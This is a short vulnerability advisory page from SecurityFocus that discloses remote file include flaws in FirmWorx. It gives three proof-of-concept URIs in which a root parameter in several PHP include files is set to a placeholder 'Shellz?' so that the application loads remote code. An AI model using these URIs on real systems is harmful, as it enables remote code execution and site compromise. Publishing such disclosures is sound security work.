Search: Home Bugtraq Vulnerabilities Mailing Lists Jobs Tools Beta Programs

FirmWorx Multiple Remote File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following proof-of-concept URIs are available:

http://www.example.com/includes/config/master.inc.php?fm_data[root]=Shellz?
http://www.example.com/includes/functions/master.inc.php?fm_data[root]=Shellz?
http://www.example.com/modules/bank/includes/design/main.inc.php?bank_data[root]=Shellz?







 

Privacy Statement
Copyright 2009, SecurityFocus